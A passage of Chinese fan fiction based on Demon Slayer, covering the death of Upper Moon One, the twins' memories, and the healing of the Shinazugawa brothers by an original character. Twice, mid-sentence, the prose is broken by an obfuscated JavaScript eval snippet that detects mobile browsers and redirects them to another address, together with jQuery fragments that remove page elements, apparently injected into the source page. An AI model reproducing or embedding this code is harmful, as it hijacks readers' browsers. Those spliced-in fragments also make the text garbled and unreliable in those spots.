“兄长大人,”缘一依然那么平静,似乎世界上没有什么事能叫他烦恼,也没有什么能改变他灵魂的平静,平静得像是一种毫不在意的淡漠,隔绝在世人之外,凌驾在世界之上,不知他正看着什么,“我们并非那么了不起的人物,只是人类漫长历史中的一粒微尘。” 继国严胜无数次怀疑缘一眼中的世界与他、他们所看到的是与众不同的,正因如此缘一才能心无旁骛地观察着他们说出那些冠冕堂皇的话。 “才智远超过我们的人此刻也在呱呱坠地,他们也会达到与我们相同的境界吧?” 继国严胜向缘一看去,正有一阵风温柔地拂过他的长发,灼红色拂过他绘有日轮图案的耳饰,他远眺着前方,看那些因为距离而显出鳞次栉比、像画一样的村镇,嘴角勾勒出温柔的笑容:“什么都不必担心。” 与自己同宗同源的那双眼眸是淡淡的梅子红,藏在他眼底的那究竟是什么,看着温暖却又仿佛疏远不可接近。继国严胜确信自己曾经触碰过缘一心底的温度,但那温度还没真正感染到他,他就已经甩手离开。明明自己并非常人不是吗?有着卓绝的天资不是吗?比起自己,缘一所拥有的一切更多,更应该恐惧时间的流逝、生命的消亡不是吗? 但他看向自己,声音化作林间流动的小溪,就这么坦然地劝慰道:“无论何时,我们都可以心无挂碍地告别人世。” 啊啊…… 听到他的话而在心底久违地掀起波澜的那种情绪……让继国严胜仿佛回到了缘一刚刚展露出天资的时候、缘一决意离开前来告别的时候、阅读缘一离开后母亲的日记的时候…… 真令人不快! 这不过是他一厢情愿的想法! 【兄长大人】 伊之助嚎叫着冲来,被砸出锯齿状的刀刃击打在时透染红的刀刃上,借力将之掷向悲鸣屿行冥的位置。日轮刀之间互相撞击,一抹鲜艳的红色同样染到了伊之助的刀上。 炼狱杏寿郎竖着持刀,刀尖从地面划起,猛力击打在伊之助的刀上,金属撞击声不断,推着斧头冲向继国严胜苍白的脖颈。 【从今往后】 胡蝶忍从后方突刺,在刀中储备的毒药经历与童磨的苦战后早就不剩什么了,改造过的日轮刀所具备的杀伤力并不足以对鬼造成更大的伤害。但医者总有自己的角度,顺着时透的日轮刀捅入的方向,再次穿刺进上弦之一的身体! 香奈乎协助风柱高高跃起,他咆哮着、怒吼着、发泄着,那是仇恨、是回忆、是对于逝去的亲人的眷恋,不死川实弥手臂上青筋暴起,在他布满红血丝的眼中只剩下唯一的目标。 日轮刀砍中流星锤! 【总有一天新的孩子们】 所有的武器在此时都以染成红色,由特殊矿石铸造而成的武器在这一刻才真正觉醒了属于自己的温度,它们滚烫无比,毫无例外地只奔向继国严胜的脖颈,仿佛长出视物的眼睛。 【将超越我们,向更高的峰顶】 有栖川朝和正抖着手治疗不死川玄弥,被斩断的身躯已经基本连合,但可怖的伤痕依然深可见骨,即使已经厚敷了特制的止血药,血腥味仍旧无可挽回地充斥着她的鼻腔,占据思考的高地。 快、快快! 还要更快一点! 手中治疗的动作快得已经全凭本能驱动,朝和听见自己脑袋里血液流动的声音,始终无法达成真正的平静。玄弥在开枪后就如同了结了夙愿般松了力,那口绷着的气散去,身体紧张的肌肉松弛下来,自愈的效果也就变得微弱。好像一直坚持存活的意念只是为了看到哥哥活着,朝和只好不断向他重复着风柱对他的在意,子弹、武器、一而再再而三的实验,别扭的不能宣之于口的关爱,借由她的手送来的礼物,如果风柱只能实现一个愿望,那一定不是为了自己,而是让他活下去,“玄弥,别睡,你还有很多话要跟风柱大人说,不是吗?” “决不能带着遗憾离开,你们已经错过太久了,一定要坚持住!” 在决战前许久,约莫是珠世小姐刚刚去到鬼杀队不久后,偶然一次朝和去看望她时,珠世小姐曾和她说起玄弥这种能力的弊端。 食鬼的剑士在吞下鬼的血肉后的确会进入一段时间的鬼化,并且得到加强的能力,甚至可以操使血鬼术的使用。但如果被他吞下基因的鬼在他鬼化期间死亡,那么剑士也会一起消失。 如同鬼一般化为尘埃地消失。 如果要改变这个结局,就必须在他还处于鬼化阶段的时候,首先为他注射变成人的药。那是珠世小姐和忍协力制作的最终成品,并不多,但珠世小姐还是为玄弥留下一份。她尊重着每一个生命,也会竭尽全力去拯救每一个生命,她是那样好的人,本不该拥有这样的结局…… 为了珠世小姐救人的爱心,为了玄弥与风柱深重的兄弟情谊,为了世间任何美好的东西,为了鬼杀队,为了奋战着想要结束永夜、幸福地生活在太阳之下的所有人,为了随便什么,甚至不需要理由,朝和必须要救下玄弥。 【攀登】 血如瀑布般流下,红色浓艳到泛黑,从没想过他的身体里有着这样多的血,仿佛从前吃下的每一个人的血液都寄居在这具身躯之中,浓烈的腥臭味瞬间布满整片广袤的空间。 周围安静得不可思议,只留下大家剧烈的喘息。 结束了吗?朝和茫然地看着战斗的中心,无端流下泪。 胜利了……吗? 78. 武士之姿 声音消失了,所有的声音、感知、色彩全部都消失了。无限城远去,演变成天际边影影绰绰的一片剪影,在漫无边际的黑暗中独自燎灼着他的理智。直到继国严胜的一切都消失,还清晰的只剩下记忆中继国缘一年轻时的样子。那一定是他们最好的时候,不然这一切不会比继国严胜的理智更深刻。 缘一…… 他们从来并肩,但继国严胜却总觉得自己在看着他的背影,而缘一平静的笑容总是让继国严胜恶心至极。在说起他们的呼吸没有继承者的时候,缘一也是莫名其妙地突然变得那样乐观,温和地露出了笑容。 那时的继国严胜目空一切,想当然地认为只有自己这个世代是最特别的,前无古人后无来者,没有人能攀登到他所在的位置,更遑论超越他。缘一却能坦然地说着那些冠冕堂皇的话,夸赞着还没出现的未来的人,他看着前路就如同看着后来者,看着他们追赶上来,再轻而易举地越过他们。那时以沉默作为回应的自己心里究竟想着什么呢?总之一定不是对于缘一的应和,他们是绝然不同的两种人,继国严胜从来都清楚地知道这一点,他看着缘一,无数次欲言又止,最终却只是将那些不善的话语捆绑着自己的情绪深深埋藏进心底。 但无论如何,缘一的笑容都让他恶心得恼怒得几欲呕吐。 为什么你能笑得出来?他那时应该是想要这样问的。他实在太好奇了,缘一似乎从不会产生担忧的情绪,也不知恐惧为何物,他就那样自在地出现在世间,平静地从污秽中走过,毫不在意是否有脏污打湿他的衣摆。继国严胜实在太好奇了,对于一切的不解无时无刻不在抓心挠肝地想要一个确切的答案,为什么?缘一眼中的世界究竟是怎样的,为什么与他有着这样大的不同,要怎样才能看清? 或是即使身体被斩断也绝不放开手中的刀。 或是以凡人之身数次完美使出血鬼术。 或是满身疮痍、遍是伤痕却仍不失血而死。 或是以与鬼匹敌的成长速度不断使出超越极限之技。 没有继承日之呼吸的人们,却能将鬼斩于刀下。想象到这样的未来,为什么你还能笑得出来? 光是想到自己会输,继国严胜就激愤得不能自已,胸口处沸腾的正是毒汁一般的怨恨,无可挽回的愤怒如高高掀起的波涛侵蚀着他良善的道德。为此,他放弃了拥有的一切,将自己投入锻造的烈火。 他已经……不会再输了…… 黑血滴落的声音回响在空洞的室内,众人愣愣地看着满目狼藉,许久没有人说话。 一个又一个念头忽地从心底跳出,占满整个心房,几乎要挤出有栖川朝和的喉咙。她僵着脊背,思考的棘轮木木地卡过一个又一个齿,敲打出一个又一个不同的音节,时间的流淌变得很慢,拉长变迁的节奏,直到朝和下一次的心跳震声响起,怦怦、怦怦,心脏拽着血管的腔道鼓出一泵热烫的血,她终于有了呼吸的能力,眼含着热泪看向炼狱杏寿郎。 从掉入无限城开始,有那么多的话想要同爱人诉说,她的视线才与他接触,不等言语真正脱口而出,泪水已经率先淌过朝和脸颊。 然而胜过与爱人交换情谊,更紧迫的还有不死川玄弥的治疗。在珠世小姐的嘱咐中,务必要在被玄弥吞下基因的鬼消散前为玄弥注射药剂,这种药剂会破坏鬼的基因,将之逆转回人类的状态,因此也不能同时注射来世——来世的研究样本正来源于鬼,是针对鬼杀队的队员们特制的。然而注射变回人类的药剂若要使用还有一个前提,就是玄弥的伤势必须是人类可以承受的程度。 被上弦之一一刀斩断的身躯自然非是人类所能治愈的伤势,哪怕来世也只是加速伤口的愈合而非让断肢重生。因此,在注射药剂前,必须让玄弥断裂的身体重新拼合,外敷内服,支撑体力的糖丸,朝和小心翼翼地照料着玄弥的情况,倾听他心跳微弱的声音,为他注射进止痛的针剂。 腰间的伤还没有完全长好,还差一些,加速愈合的特效药在极度失血的情形下已经很难发挥功效,尤其玄弥无法使用呼吸法辅助身体细胞的再生。 有栖川朝和紧张地握住玄弥冰凉的手,不时抬头看向上弦之一僵站着的身躯…… ……不对…… 不约而同地,一个念头陡然跳出,狠狠砸在所有人认知之上。 再强大的鬼,一旦斩断脖颈、彻底死亡,身体都应该逐渐崩解……但继国严胜、上弦之一、存活数百年的恶鬼,明明脖颈已经被斩断,血流满地,他的身体却依然完整地挺立在原地,毫无分解的迹象…… 再细一看去,被砸去头颅的脖颈处粗糙的断面仍然是一片红白相间的血腥,脊椎苍白的切口直直地突出在血红色的肌肉中,翻卷的皮肉还未止住颤动。然而,血止住了。 失去头颅的身躯没有像迎接死亡的鬼一般化为齑粉。 他还没死! 明明已经被斩首,但上弦之一的恶鬼还没有死! 就在他们眼睁睁的注视下,无头的肉身竟然诡异地动作起来,没有持刀的手正伸向时透无一郎没有拔出的日轮刀,他紧紧握住刀柄试图将之抽出。另一只手则向后背那根象征囚笼的树枝伸去,硬生生将它从自己脊背中撕开。 “不要停下攻击!” “大家!一口气攻过去!”悲鸣屿行冥怒吼着,颈侧的筋脉有节奏地跳动着,完美贴合众人此刻惊疑不定的心跳,“绝对不能浪费大家付出的牺牲!” 方才停下来、视线灼热地捕捉到躺倒在地仿佛气息断绝的弟弟的不死川实弥在听到这句话时身体猛地一颤,他转过头,极度平静的脸上却显出一种彻底绝望的疯狂,他毫不犹豫地向着继国严胜的身体举起日轮刀。“哈哈哈来得好啊!”他狂笑着,泪流满面,咆哮着一切的一切,这罪恶一直追溯至母亲再也没有归来的夜晚,那弥散的血腥味笼罩着他的灵魂,他的愤怒是亡灵的靡靡之音,盘旋在这血的宿命中,“那我就把你切到永远消失为止!”这恨意,无休无止。 各式呼吸法同时运转到极致,战技统统砸向继国严胜的身体。炼狱杏寿郎在攻击的间隙将已然脱力的时透无一郎放到有栖川朝和的附近,胡蝶忍也暂且脱战来到一旁为二人治疗。得到忍的帮助后,朝和终于稳定了玄弥的伤情,将那支把鬼变回人的药剂注入他的动脉。 继国严胜的身体依然没有崩毁。 只要拔出这柄染红的刀,就还能继续再生……就还不会死。刀的效果也好,术的效果也好,很快都会消失,他们已经没有了再来一次的力气。 而他——会克服身首异处之死! 无头的身躯挣扎着,咆哮从他腹中低沉地响起,穿透过生死之际,挟着无数亡灵的低语,踏过百年的日月流转。无数个晦暗的深夜,继国严胜都渴望着今天。 在他脖颈的断口处,血肉如有生命般剧烈蠕动,翻起鲜红的肉浪,滚动着骨肉的碎末,收缩、膨胀、收缩、膨胀,一次又一次,肌理的韵律潮涌般翻腾,构建着全新的造物。 以肉身挡下所有攻击,低沉的鸣声骤然化为一阵喘息,野兽般排布的尖利长齿间,黏稠的涎水顺着他呼吸的起伏滴落。 继国严胜的身体仿佛进行了一次分裂重组,所有刺向天地的刀刃皆被熔成可怖的鳌甲,漆黑的盔壳昆虫似的覆盖在他的身躯上,而他的后背,撕下血鬼术的树枝后,伤处迸裂出节肢般的躯干,其上满是锐利的尖刺,正兀自向着空气颤抖。 脖颈上,一颗彻底抛去人类痕迹的属于恶鬼的头颅,满嘴利齿外翻,正猛烈地呼吸着这个令人留恋的世界清新的空气。 再也看不出任何属于“继国严胜”这一人类的痕迹。 “那混蛋重新把头长出来了!”希望熄灭的那一刻,不死川实弥痛骂着将风暴劈向恶鬼丑陋的形体,“妈的畜生啊啊啊啊啊!” “继续攻击!”炼狱杏寿郎戒备着,气息滚过喉咙时泛起一阵腥甜,这是一场激烈的苦战,高强度的战斗引起血气翻腾,每一次吞咽都能尝到自己伤处的苦涩,但一切还没结束!他横过刀,让炼狱不灭的莲火铺天盖地地覆向恶鬼的身体,为同伴们寻找突破的契机。 “他刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613476|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被斩下首级,身体应该还很脆弱!”悲鸣屿行冥甩动着流星锤,将火焰卷成一串赤链,优于常人的感官让他看清了继国严胜身体的变化,他象征着心脏的位置依然是他的头颅,卡着每一次呼吸跳动。并没有更多特别之处,既没有长出更多的心脏,也没有长出更多的头颅,命脉仍是那唯一一处,“他再生的速度没有无惨那么快!攻击脖子!不要停下!” 他克服了。 一切的路只留下这一个结果,继国严胜重新生长出头颅,这意味着一切的攻击都再无意义。就像那位大人那样,除日光之外……他获得了更高的自由,得到了重来一次的机会! 这样一来,他就不会再输给任何人…… 从那向着他挥来的刀剑之上——银白的刃身中映出他如今的面容。 那是谁? 意识到那正是自己的时候,继国严胜几乎是茫然不解地看着它。 与人类全然无关,真正抛弃了“继国严胜”这一存在,何等丑陋的姿态…… 还是幼童时的缘一的声音在脑中响起:“兄长大人的梦想是成为这个国家最强大的武士吗?” 那时他还很年幼,在继国家他像一个无人在意的影子,但不知为何缘一却总是跟随着他,继国严胜不确定缘一是否看不透他的心绪与对他复杂难言的感受,总之一切都不曾改变缘一的行动。他总是在自己的身边安静地待着,看着自己做任何事,学习、练武、吹奏乐曲……无论何时,只要看到缘一就能看到他脸上展露的天真的、没有任何阴霾的、充满信任的笑容。他稚嫩的声音无时无刻不伴随着自己,从继国家到鬼杀队,一直到如今。 “我也想成为兄长大人这样的人,我要——成为这个国家第二强的武士。” 这是,武士的姿态吗? 思考的能力停滞,继国严胜无法考虑别的什么,只不断向自己发问:这真的是我想要的吗? 明明是重构的身躯,然而先前被无一郎刀刃刺穿的地方却不曾愈合,只这么一瞬间的怀疑,伤处又一次传来隐痛。消弭是从此处开始的,肌理变得轻盈,仿若无物,化作飘絮,无数次解离,散入空气。身体是从那里开始崩坏的。 这一次继国严胜依然没能躲开再次袭来的流星锤。 新生的头颅被毁去,地底阴冷潮湿的风吹过,躯体不再是血肉的集合,如风化的石层一片片皲裂剥落,在空气中逐渐解体。 快使出技能,快使啊!快……血鬼术使不出来……! 还没有完……应该还能再生……还没有输…… 我还…… 再一次见面的冷夜里,苍老年迈得和记忆中那个弟弟早已截然不同,甚至说得上面目全非的缘一流下浑浊的泪:“多么悲哀啊,兄长大人。” 他那时的怜悯,继国严胜曾百年都没能读懂。 首级被斩下,身体被切裂碾碎,依然无法承认败北的这份丑恶——苟活之辱——存活数百年竟然是为了这种事吗? 不惜化作丑陋的怪物,只是因为不想输吗? 不惜食人饮血,只是因为想变强吗? 上弦之一的躯体解体得更多了,有异于人体的构造最先失去,如他以非人的行为得来的漫长生命也在此时走向终结。 不惜堕落为如此凄惨的生物只是因为不想死去吗? 残存的部分终于难以支撑地摔倒在地,飞萤散去,火光于四百多年后的今夜被无声吹熄。 不是的…… 感官也逐渐失去,意识变得那么遥远,能听见往日的回声,无数的啼哭与哀鸣,他曾做下的恶,一直以为自己抉择的必然是正确的道路,但他真的不知道这是罪孽吗?已经不能再回答了,发声的器官也一点点消失,明明应该同样失去思考的能力,但不知为何,灵魂独立存在似的拉开黑夜的帷幕,清晰出现的只剩下那个月夜之下,许久未见的缘一孤身出现从鬼的围猎中救下他时的身影。 月光无法融化他赤红的发,冰冷的夜色也不能夺去他那颗平静的心。 ——缘一,我只是想要成为你。 79. 间章 那么漫长的生命在这一刻也无非化为灰烬,在地下冰冷阴湿的空气中被冷冽的阴风吹散,再寻不见了。 “不死川!”悲鸣屿行冥喝声道,“攻击暂且停止!鬼没有再生了!” 然而不死川实弥没有收住攻击的动作,他仍然直瞪瞪地注视着先前上弦之一站立的方向,将满腔仇恨泼洒在飘然落地的和服上,陷入梦魇般仿佛听不见任何声音,明明无人唆使着这颗躁动的灵魂,脑海中却还是只留下挥刀、挥刀、挥刀的执着念头。 炼狱杏寿郎眼疾手快的一把抓住不死川实弥,横过手臂扼住他前冲的身体制止他的动作,在他耳边大声喊道上弦之一已经被打倒了! 上弦之一已经被打倒了,战斗已经结束了! 结束了? 这次是真的结束了……不死川实弥如梦初醒似的,那双总是愤怒而充斥着血丝的眼睛缓慢地生出两粒神志的光点,像是第一次看见鬼——看着母亲自楼上摔下,砸出四溢的尘埃,苦痛地在初升的光线下呼号翻滚、化为尘埃——他死死盯着上弦之一消去人形,在空气中湮灭殆尽,给世界留下的只有那身衣衫,沉默许久,在他似乎要启唇说话的刹那,一下子脱力地软下身晕了过去。 难以置信,众人这才发现不死川实弥早在战斗中失去了意识,然而偏偏是毫无意识、只留下意志的肉身,竟然还能继续战斗。 炼狱杏寿郎与悲鸣屿行冥合力架着不死川实弥走到朝和所在的位置,停止战斗,伊之助与香奈乎也走来,坐在一旁休息、治疗。 因为无法动作只能平躺而被朝和按住肩膀的玄弥看着哥哥靠近,混乱的意识逐渐收拢在痛意占满的大脑中,轻声呼唤的声音已经不由跳出喉咙,嘶哑的声线却大力拨动着不死川实弥隐隐溃散的理智,引起他眼睑一阵颤抖。 “别担心,玄弥。”朝和轻轻安慰道,“风柱大人没事的。”说着,她示意已经把不死川实弥平躺放下的炼狱杏寿郎到自己身边按住玄弥别让他乱动,又请香奈乎帮她一起检查风柱的身体。同样注射了来世的躯体,香奈乎他们一来有过短暂的休养,二来并非战斗的主力,身上的伤正在逐步愈合,至少破开的血肉缓慢地生长着,留下不再流血的一道血痂,而非是鲜血淋漓的样子。至于风柱大人,那实在就严重得多,原本胸口处那数道破开皮肉、深可见骨的伤就已经极大地损伤了他的生命力,哪怕来世的药效也仅能使之将将愈合,在又经历一番血战之后,以这不要命般的态势战斗的风柱周身的伤可怖得令人咋舌。 悲鸣屿行冥蹲下身,一只手搭在玄弥的肩膀上,靠近的动作给人一种两人同在的感觉。 年长者的视线只是粗略扫过少年的身体,经验就已经剖析了他的伤情回馈完整的讯息,即使是他受到腰斩这样的致命伤也绝无可能坚持活下来,但一切并非虚幻,玄弥依然活着。是吞食了鬼的血肉的缘故吗?即使早先就知道他这份能力的特殊之处,悲鸣屿行冥依然感到深深的不可置信,为他这强韧的生命与坚定的心深深感叹。 “大哥……”玄弥的眼神渴望地看着风柱的侧脸,那绝非恶鬼对于稀血的喜爱,而是一个弟弟迫切的爱。 “嗯,还活着。”那双眼无声地说着太好了,分辨不清眼角闪烁的究竟是泪痕还是汗,玄弥艰难地说着:“不用管我……”每吐出一个字,他的胸膛就会随之颤抖一下,“去……看时透先生……” 不远处,胡蝶忍守护着的时透无一郎紧紧闭着眼,正陷在一个不安定的梦中。 那是一个没有边际、没有实体、看不清痕迹的世界,一片黄金色的银杏叶后悠然展开迷幻的轮廓。率先映入眼帘的是一双与自己一模一样的天青色眼眸。 “哥哥……”时透无一郎才喃喃地叫出这个睽违已久的称呼,他的哥哥——早早离开人世、离开他的时透有一郎已经愤怒地打断他的话,朝他吼道:“别来这里!回去!”然而泪流不止的面容终究为他这声嘶力竭的喊声消去一切的情绪,只将泣音中某些苦痛凸显。 时透无一郎顿了顿,他诧异地看看自己亲爱的哥哥,泪水在刹那间涌上眼眶,甚至不需要丝毫情感的铺垫与感情的过渡。“为什么?”时透无一郎的委屈颤抖着降临在音节之中,“我很努力了……你不夸夸我吗?” “为什么?”时间永远停留在更年幼、更瘦弱的时候,他已失去全部的意义,在这一切面前,世界也好、正义也罢,所能象征的又怎么能和自己年幼的弟弟相提并论?时透有一郎反问道:“我才想问呢!你才十四岁啊!逃掉就好了!” 记忆中哥哥永远比自己更强大、更坚定,明明肩膀也瘦弱却能挑起比自己挑的更重的东西,失去父母后,哥哥代替了父母的存在。那其实并非是一个兄长必定要承担的宿命,然而时透有一郎确实心甘情愿为时透无一郎遮挡风雨。 “不可能舍弃同伴逃跑啊。”无一郎看着哥哥,哥哥依然是死去那一年的样子,他的面容不曾改变,自己的身高也早已超过了哥哥,比哥哥多拥有的这几年里,他学会了太多。 “可那样你就不会死了……在这种地方死掉算怎么回事?白白送命啊……”他明白,他当然明白,灭鬼是为了更多人的幸福,然而那又怎样?“就这么死了,那你到底是为了什么才出生的啊?”他的弟弟,他唯一仅存的亲人,明明才是最应该获得幸福的人啊,不是吗? 时透无一郎至今仍然清晰地记得那一天,记得那个鬼的丑陋,记得哥哥死去时的模样……尸体原来用不了多久就会腐败,哥哥身上令人安心的气息逐渐被不祥的气息所替代,变质的气味将死亡带进他们相依为命的家中,看不见的死神就这样居高临下地瞥视着他们……并将哥哥从他身边带走。 “哥哥死的时候才十一岁吧,比起我哥哥才更可怜啊!”时透无一郎从未觉得自己的大脑如此清晰过,“至于我出生的意义什么的,这种事我自己很清楚!” “我是,为了得到幸福才诞生的。”他在泪光模糊的光斑中看见了自己的过去,那家人俱在时的短暂岁月仅仅是邈远地回想就能让感官体验到甜蜜的气息,“哥哥也一样吧?不是吗?” 时透无一郎大声地问询,“你不幸福吗?一次也不曾有过幸福的瞬间吗?” 他曾经很幸福,甚至可以说那是最幸福的时候,全家四人生活在一起,哪怕过着朴实的说得上贫困的生活,但只要家人们在一起,无论经历什么都是一种幸福。这种幸福在他变成孤身一人的瞬间被彻底地摧毁。封闭自己,经历了无数的痛苦与心酸,直到后来又拥有了同伴,重新体会到喜悦的情绪,能够再一次展露出笑容。虽然他的生命到这一刻才只有十四岁,但是感到幸福的瞬间却多到数不清。 “即使是那样也不行吗?”他追问着。 “我从未逃避任何事,一直正视着现实,对于为同伴赌上性命一事也绝不后悔。”越来越多的泪水重得叫他不由低下头,然而垂头的瞬间,那晶莹的液体更是难以控制地掉出眼眶,无一郎控制不住泪如雨下,只能不断用手抹去泪痕,他几乎睁不开眼,“不要说什么白白送命,别人怎么说都无所谓。但是唯独哥哥你不能这么说啊!” 啊,这一刻,两颗远离的心再一次靠近,紧紧贴在一起。有一郎用力抱住自己的弟弟,哽咽着向他道歉,“但是我……” “不想无一郎死掉啊……”哥哥的真心从来无需剖析,他作为他的幸福而出生,也愿为了他的幸福而死去,他唯一的心愿,只是希望亲爱的弟弟时透无一郎能够幸福地度过自己的一生——哪怕他不再有陪伴弟弟身边的资格。 昏迷中的时透无一郎眼角分泌出泪,顺着额角流入漆黑的发中,留下一道濡湿的痕迹。 胡蝶忍与悲鸣屿行冥不约而同地握住了他的手。 在那水光中,时透无一郎缓缓睁开了眼。他的视线并没有立刻凝聚焦点,而是恍惚地看着半空。半空中,有一郎轻轻抚摸着他的发顶,松开了怀抱。 “我会在彼岸等待无一郎,和爸爸妈妈一起等待着。”哥哥的身影很快变得空虚,不用风吹就散了,就连哥哥的声音也如雪泥鸿爪,只在脑海中残存些许影子。 “不要那么早过来,就请无一郎把我们的那一份幸福也一起延续下去吧。” 风柱的疗伤并不很难,该说不愧是柱的身体素质,无论自愈能力还是调整状态都是一等一的极限,做好止血和上药,没过多久就稳定了风柱的状况。对于朝和而言,最重要的问题依然是玄弥的情况,鬼化即将结束,玄弥的身体已经没了自我愈合的迹象,但面对上弦之一的彻底消亡,注射变成人的药剂后他的身体也没有任何崩解的迹象。就结果来看,一切自然是好的。 朝和提醒杏寿郎帮忙按住玄弥,并且注意玄弥的状态,收到男人微笑着点头的应答后,她安心地从包中取出来世。青色的药剂在灯光中泛滥出一层迷蒙的晨曦,用针管抽取,她看向玄弥。 朝和刚想说什么,不死川实弥醒了。 没有任何思考的缓冲,也没有半分犹疑,甚至或许眼睛还未看清周遭的一切,不死川实弥已经猛地翻身坐起,不顾身体的伤痛,近乎疯狂地靠在实弥身上。看到弟弟惨白的脸与身下一大摊鲜红的血,这个从来暴戾坚硬的哥哥登时破碎了,无尽的痛苦从他口中化为难以置信的哀嚎。 “怎么回事!可恶!身体为什么会受这么严重的伤啊?可恶!可恶!!”他的眼泪从满是红血丝的眼中接连坠下,才一听到弟弟艰难的呼唤,他立刻、不再有丝毫犹豫也不再掩饰地应声:“没关系!我会想办法的!哥哥会想办法的!”只是情绪从未平静,那是一片波涛汹涌的海。 这种悲伤到极致的情绪无疑也感染到朝和,让她没能完全止住的泪也没出息地跟着流出。 等到杏寿郎确认了玄弥的伤势,转过头时就看见了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613477|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛红红地抽噎的模样。少女用力眨着眼睛想将泪水逼退,最后还是无能为力地抬手用袖子擦去。看着心爱的人,久战后的疲惫仿佛一扫而空,“别害怕,朝和。”他伸手将朝和搂在怀中为她抹去泪痕,才轻轻按在她的手上示意没问题了。 天青色的药剂被朝和推入不死川玄弥的血管之中,沿着上臂的动脉,这一股微凉的液体很快就会蔓延至全身上下每一个角落,徜徉在玄弥的呼吸韵律中发挥出自己神奇的药效。 但首先……首先被感知到的是疼痛。巨大的疼痛。在崩坏与退化之间,疼痛反复地拉锯,灵魂如被两股巨大的力量左右撕扯着,将要分裂开。如果没有炼狱杏寿郎提前按住他的身体,约莫这会儿玄弥会痛苦地缩成一团——那就彻底影响到了他腰间的伤。让弟弟面目扭曲的感受自然无法逃脱风柱的双眼,他惊疑不定地看着弟弟,又看向炼狱杏寿郎,那是与他注射时似乎截然不同的痛感。他想说些什么,声音还没能挤出声带,就听见弟弟艰难地向他道歉。 “那个时候……责怪了哥哥……对不起……净给你添麻烦……对不起……” 从玄弥眼眶中流出的又好像是不死川实弥的眼泪,听到这一切似乎是久违的道别一般的话语,他失去理智般不住反驳着:“根本不是什么麻烦!”后悔姗姗来迟,在这个瞬间他甚至想到如果命运能给他重来一次的机会他绝不会再对弟弟有任何隐瞒,凶狠的语气与其说命令,倒不如说是恳求:“不要死!!不准比我先死!!” 玄弥摇摇头,磅礴的痛意正掀起滔天巨浪试图将他淹没,他不住地在浪潮间翻腾,试图稳定自己的身体,却无法从海面中找到哪怕一块可以凭依的浮木。理智消散之前,他最后向着哥哥说出了埋藏在心中许久的谢意:“谢谢你……保护我……”就像哥哥保护他一样,他也想要保护哥哥,即使哥哥比他更强大,而自己是如此弱小。但哪怕竭尽自己的生命,他也不会放过这个机会……毕竟他们是亲兄弟啊! “我希望经历了……苦难的……哥哥能够……幸福……不要死掉……”泪水蜿蜒成回忆的河,带着不死川兄弟俩再一次回到童年那间旧屋,哪怕睡觉也要挤在一起的两人,那最初毫无瑕疵的信任,多希望能回到那个时候,如果可以……不死川玄弥绝不会再对哥哥说出那样伤人的话。他试着牵扯嘴角露出一个笑,“因为……我的哥哥是……这世界上……最温柔的人……” 无法思考的风柱看看朝和,又看看弟弟,神经被无形的针猛然刺中,他扑在玄弥的身上把他整个抱住——母亲去世后这是他们第一次拥抱,一想到这有可能是最后一次,不死川实弥便痛哭出声:“神啊!求求你!请你……请你别带走我弟弟!!!” 不死川玄弥在来世的生发中失去了意识。 想要安慰风柱这是正常情况的朝和无论怎样都说不出话,话语堵在喉口,生涩地掩住一切,将世界留给兄弟二人,去揭开心底的层层障壁。 有一个瞬间不死川实弥甚至以为弟弟就这么死去了,但所所有的感官如迷障散去,弟弟胸腔中的心脏正跳动着。虽然微弱,却依然跳动着。 杏寿郎宽慰地把手按到他的肩膀上,语气开朗地告诉他:“没事了,不死川,谁也不能带走他。” 不死川实弥没再说话,只把玄弥抱得更紧。 没有任何人离开她们。只有在确定这一点的现在,有栖川朝和才能安慰自己那颗不安的心平静下来。她扑进身边的炼狱杏寿郎怀中,然而在靠在他胸膛时一股血腥味扑鼻而来。她这才意识到自己还没有为他处理过伤口,甚至不知道他的伤势如何,心跳再次剧烈,甚至让她无端地颤抖,她立刻便想从熟悉的怀抱中退出,好仔细检查一番杏寿郎的情况。 但炼狱杏寿郎的双臂已经铁链般桎梏在她身后,这一次牢牢抱紧的人是他。他埋头在她颈窝,灼热的呼吸喷洒在她脖颈处的皮肤,那里是人类最脆弱的地方,但她永远不需要对他设防。 “没关系,朝和。”炼狱杏寿郎当然不是逞强,他的伤不轻,但也没重到失控的程度,更何况先前简单处理过一次伤情。对于他而言,现在最想做的事就是安静地抱着有栖川朝和、什么也不做、静静地待一会儿。 亲眼看着他经历那么艰险的战斗,恐惧终于后知后觉地爬到理智的上头,但炼狱杏寿郎总有办法让她平静下来,并让她心底软得一塌糊涂。朝和也用力抱紧炼狱杏寿郎,抬头在他脸侧印下一个温柔的吻,手指梳过他半长的发,像是哄着孩子又像是安抚着幼兽,温柔地说道:“杏寿郎,辛苦你了。” 在这休整的间隙,杀死除鬼王鬼无辻无惨之外最强大的鬼的几人深知战斗尚未真正结束,他们的心中仍然高高悬着一柄达摩克利斯之剑。 鎹鸦不知从何处飞入,盘旋在他们头顶,粗嘎的声音声嘶力竭地向着刚刚结束战斗的众人宣布惨痛的现实:“无惨复活!无惨复活!”